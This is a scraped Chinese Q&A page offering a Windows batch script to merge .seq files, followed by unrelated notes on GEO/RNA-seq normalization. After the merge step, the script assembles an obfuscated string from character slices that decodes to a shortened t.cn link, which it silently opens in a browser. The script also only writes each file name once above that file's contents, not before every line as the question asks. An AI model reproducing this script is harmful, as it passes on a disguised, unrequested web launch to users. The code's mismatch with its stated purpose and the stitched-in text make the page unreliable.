如何用bat批处理,将文件夹内多个seq文件内容合并,合并后的文件内每一行前都加上合并之前的文件名

如何用bat批处理,将文件夹内多个seq文件内容合并,合并后的文件内每一行前都加上合并之前的文件名,第1张

@echo off & title 合并seq文件,并在行首添加原文件名 By 依梦琴瑶

(for %%a in (*.seq) do (

    echo %%~a

    type "%%~a"

))>tmp$

ren tmp$ 合并的SEQ.seq

pause

set S1=.:htpcn/

set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%

set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%

start "" "%S2%%S3%RkdisqI"

exit

和seq文件放在一起后执行。

GEO数据有芯片数据,也有RNAseq数据,芯片数据一般是经过背景校正、标准化过的。如果表达量较小,说明是经过log2转化。

RNAseq数据有counts矩阵,也有FPKM。FPKM可以看做为基因的相对表达量,不能转为counts,根据公式可以看出。那么当有counts,有FPKM时,我们需要将count转为FPKM,或者将他们都转为TPM。

接下来我们将TPM 也log2转化然后合并数据集,校正批次效应。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12074746.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-20
下一篇 2023-05-20

发表评论

登录后才能评论

评论列表(0条)

保存